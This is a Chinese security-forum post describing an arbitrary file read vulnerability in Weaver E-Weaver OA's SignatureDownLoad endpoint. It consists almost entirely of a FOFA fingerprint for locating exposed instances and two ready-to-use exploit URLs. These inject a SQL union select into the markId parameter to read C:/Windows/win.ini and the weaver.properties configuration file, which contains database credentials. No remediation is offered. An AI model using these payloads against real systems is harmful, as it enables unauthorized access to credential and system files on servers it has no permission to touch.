安全矩阵

 找回密码
 立即注册
搜索
查看: 2753|回复: 0

泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-8-19 00:29:11 | 显示全部楼层 |阅读模式
泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞

app="泛微-E-Weaver"
  1. /weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27C:/Windows/win.ini%27

  2. /weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:49 , Processed in 0.012179 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表